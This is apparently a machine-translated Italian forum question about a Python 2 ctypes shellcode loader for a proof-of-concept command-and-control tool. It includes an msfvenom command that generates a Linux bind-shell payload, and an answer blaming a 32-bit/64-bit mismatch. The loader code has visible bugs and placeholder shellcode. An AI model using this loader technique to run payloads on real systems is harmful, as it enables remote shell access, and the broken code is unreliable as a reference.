Python - chiamate di funzione ctypes.cast uscite Messaggio di errore errore di segmentazione

3

Sfondo:

Scrittura di una prova di concetto di un C & C citato ispirato dal Prof Viviek di SPSE simile a twittor e il progetto include una funzionalità di iniezione di shellcode e l'esecuzione all'interno del programma python. Tuttavia, volevo che la funzionalità attraversasse le piattaforme, ma funzionava solo in un sistema Windows.

Problema : quando esegui lo script python su ubuntu server 12.04.5 LTS, l'output dice

Segmentation fault (core dumped)

Il che significa che mi viene negato l'accesso alla memoria per il quale non ho il permesso. Questo è strano b / c nel codice sorgente ho anche impostato cytpes.mprotect (spazi allocati, space_size, 7) < == 4 + 2 + 1 è per le autorizzazioni wrx

Shellcode generato utilizzando il comando:

msfvenom --payload linux/x86/shell/bind_tcp  --format py --arch x86 --bad-char "\x00\x20\x0d"

Script Python :

 #!/usr/bin/env python

import ctypes
import os

# please comment out the appropriate payload for the other platforms
# this below is for windows shell bind tcp listening at 4444
#buf  = ""
#buf += "shellcode..."

# below is for linux
buf = ""
buf += "shellcode..."


def main(shellcode):
    if os.name == 'posix':                                                 
        try:                              
            libc = ctypes.CDLL('libc.so.6')                                
            sc_ptr = ctypes.c_char_p(shellcode)                               

            size = len(shellcode)                                          
            addr_freespace = ctypes.c_void_p(libc.valloc(size))                 
            ctypes.memmove(addr_freespace, sc_ptr, size)                            
            libc.mprotect(addr_free_space, size, 1 | 2 | 4)   # changed to 7 for all three access                    
            run = ctypes.cast(free_space, ctypes.CFUNCTYPE(ctypes.c_void_p))
            run()                                                           
            sys.exit()                                                                    
        except Exception as e:
            print "Error: " e

    else:                                                                   
        try:  # windows implementation



if __name__ == '__main__':
    main(buf)

Domanda: Qualcuno può spiegare perché compare il messaggio di errore di segmentazione e come risolviamo il problema?

Crediti : questo script è ispirato da sickle.py @ Line743-753

L'unica differenza è che lo script di riferimento sta usando python 3, mentre sto usando python 2.7.

UPDATE :

Dopo molti tentativi ed errori, incluso l'esecuzione del programma in pdb. L'errore di errore di segmentazione si è verificato dopo la riga di:

run()

Qualcuno può spiegare perché questo sta accadendo?

    
posta Rennitbaby 31.05.2018 - 05:50
fonte

1 risposta

1

La macchina virtuale era architettura x64, e l'ho alimentata con shellcode a 32 bit, un terribile errore da parte mia, ma alla fine il mistero è stato risolto.

    
risposta data 04.06.2018 - 00:51
fonte

Leggi altre domande sui tag